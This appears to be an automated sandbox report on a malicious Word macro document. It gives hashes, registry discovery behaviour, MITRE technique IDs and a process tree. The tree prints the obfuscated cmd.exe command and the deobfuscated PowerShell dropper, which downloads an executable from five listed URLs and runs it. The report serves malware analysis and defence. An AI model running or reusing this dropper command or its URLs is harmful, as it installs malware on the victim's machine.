5c2d4ed46e476ba2d23eb96eb2dc30c96ff6415dec2e4353aef9e7cd167695b9

General

Target

8c815b0e5df17ad8c3d669337605198c_JaffaCakes118.doc
Size

122KB
MD5

8c815b0e5df17ad8c3d669337605198c
SHA1

7e29c2543811f73608bec589041815b5c196883f
SHA256

5c2d4ed46e476ba2d23eb96eb2dc30c96ff6415dec2e4353aef9e7cd167695b9
SHA512

cf8c00e5bec13e9ee134fcbb78d135cb493a9bc705e78957d6a1fc42295e340d67f509b5e37d0aeec997a08e247cca474ea5b8a5b9e0fb76f8e82fae4983eb5b
SSDEEP

1536:2hJ81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadnBS77K5U+a9:2X8GhDS0o9zTGOZD6EbzCdB0W

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.brandywinematerials.com/I2CTXAByih

exe.dropper

http://www.pamka.tv/IG9MARZ

exe.dropper

http://www.ulsv.ru/MaG0o3h

exe.dropper

http://www.prokombank.ru/REwyMx2T

exe.dropper

http://www.gocarloans.com.au/1Hezijowh

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2492	2144	cmd.exe	90

Blocklisted process makes network request 4 IoCs

flow	pid	Process
51	4400	powershell.exe
55	4400	powershell.exe
57	4400	powershell.exe
59	4400	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4400	powershell.exe
4400	powershell.exe
4400	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4400	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 1376	2144	WINWORD.EXE	98
PID 2144 wrote to memory of 1376	2144	WINWORD.EXE	98
PID 2144 wrote to memory of 2492	2144	WINWORD.EXE	106
PID 2144 wrote to memory of 2492	2144	WINWORD.EXE	106
PID 2492 wrote to memory of 1444	2492	cmd.exe	108
PID 2492 wrote to memory of 1444	2492	cmd.exe	108
PID 1444 wrote to memory of 4400	1444	cmd.exe	109
PID 1444 wrote to memory of 4400	1444	cmd.exe	109

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8c815b0e5df17ad8c3d669337605198c_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1376
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 8wR=;'kEP'=SEi$}}{hctac}};kaerb;'Yzl'=KEW$;JQU$ metI-ekovnI{ )00008 eg- htgnel.)JQU$ metI-teG(( fI;'oiC'=ZCc$;)JQU$ ,NGC$(eliFdaolnwoD.wSf${yrt{)wwz$ ni NGC$(hcaerof;'exe.'+fbd$+'\'+pmet:vne$=JQU$;'NCS'=kiE$;'079' = fbd$;'okL'=Nji$;)'@'(tilpS.'hwojizeH1/ua.moc.snaolracog.www//:ptth@T2xMywER/ur.knabmokorp.www//:ptth@h3o0GaM/ur.vslu.www//:ptth@ZRAM9GI/vt.akmap.www//:ptth@hiyBAXTC2I/moc.slairetameniwydnarb.www//:ptth'=wwz$;tneilCbeW.teN tcejbo-wen=wSf$;'BbK'=wVd$ llehsrewop&&for /L %A in (470,-1,0)do set pZQ=!pZQ!!8wR:~%A,1!&&if %A lss 1 call %pZQ:~-471%"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\system32\cmd.exe
    CmD /V:O/C"set 8wR=;'kEP'=SEi$}}{hctac}};kaerb;'Yzl'=KEW$;JQU$ metI-ekovnI{ )00008 eg- htgnel.)JQU$ metI-teG(( fI;'oiC'=ZCc$;)JQU$ ,NGC$(eliFdaolnwoD.wSf${yrt{)wwz$ ni NGC$(hcaerof;'exe.'+fbd$+'\'+pmet:vne$=JQU$;'NCS'=kiE$;'079' = fbd$;'okL'=Nji$;)'@'(tilpS.'hwojizeH1/ua.moc.snaolracog.www//:ptth@T2xMywER/ur.knabmokorp.www//:ptth@h3o0GaM/ur.vslu.www//:ptth@ZRAM9GI/vt.akmap.www//:ptth@hiyBAXTC2I/moc.slairetameniwydnarb.www//:ptth'=wwz$;tneilCbeW.teN tcejbo-wen=wSf$;'BbK'=wVd$ llehsrewop&&for /L %A in (470,-1,0)do set pZQ=!pZQ!!8wR:~%A,1!&&if %A lss 1 call %pZQ:~-471%"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $dVw='KbB';$fSw=new-object Net.WebClient;$zww='http://www.brandywinematerials.com/I2CTXAByih@http://www.pamka.tv/IG9MARZ@http://www.ulsv.ru/MaG0o3h@http://www.prokombank.ru/REwyMx2T@http://www.gocarloans.com.au/1Hezijowh'.Split('@');$ijN='Lko';$dbf = '970';$Eik='SCN';$UQJ=$env:temp+'\'+$dbf+'.exe';foreach($CGN in $zww){try{$fSw.DownloadFile($CGN, $UQJ);$cCZ='Cio';If ((Get-Item $UQJ).length -ge 80000) {Invoke-Item $UQJ;$WEK='lzY';break;}}catch{}}$iES='PEk';
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4400

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3684 --field-trial-handle=2900,i,14549994492153927475,12895178890800740987,262144 --variations-seed-version /prefetch:8
1⤵
PID:1656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\366A5423.wmf

Filesize
502B

MD5
629cb2893780317d8e492a79e40ba6fc

SHA1
62898cc7bd2cfe4496de662a4844fc577865c01f

SHA256
267c422b494a597411472b7d845c7f0514dc6543b28eef69735ce4e44c93610d

SHA512
9ab464c64fb653066aa278460293cc00d0363241abd85029ece24a27496d8686692c948d6f78690ab923378cd62429c59b2b6bade48088cc59d3acf94e823f7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qrknynum.lej.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2144-7-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-103-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-4-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-6-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-5-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-0-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-8-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-9-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-10-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-11-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-13-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-12-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-1-0x00007FFEAA6AD000-0x00007FFEAA6AE000-memory.dmp

Filesize
4KB

Download
memory/2144-14-0x00007FFE68110000-0x00007FFE68120000-memory.dmp

Filesize
64KB

Download
memory/2144-2-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-28-0x00007FFEAA6AD000-0x00007FFEAA6AE000-memory.dmp

Filesize
4KB

Download
memory/2144-29-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-30-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-27-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-3-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-104-0x00007FFEAA610000-0x00007FFEAA805000-memory.dmp

Filesize
2.0MB

Download
memory/2144-100-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-16-0x00007FFE68110000-0x00007FFE68120000-memory.dmp

Filesize
64KB

Download
memory/2144-102-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/2144-101-0x00007FFE6A690000-0x00007FFE6A6A0000-memory.dmp

Filesize
64KB

Download
memory/4400-68-0x0000021EC99E0000-0x0000021EC9A02000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads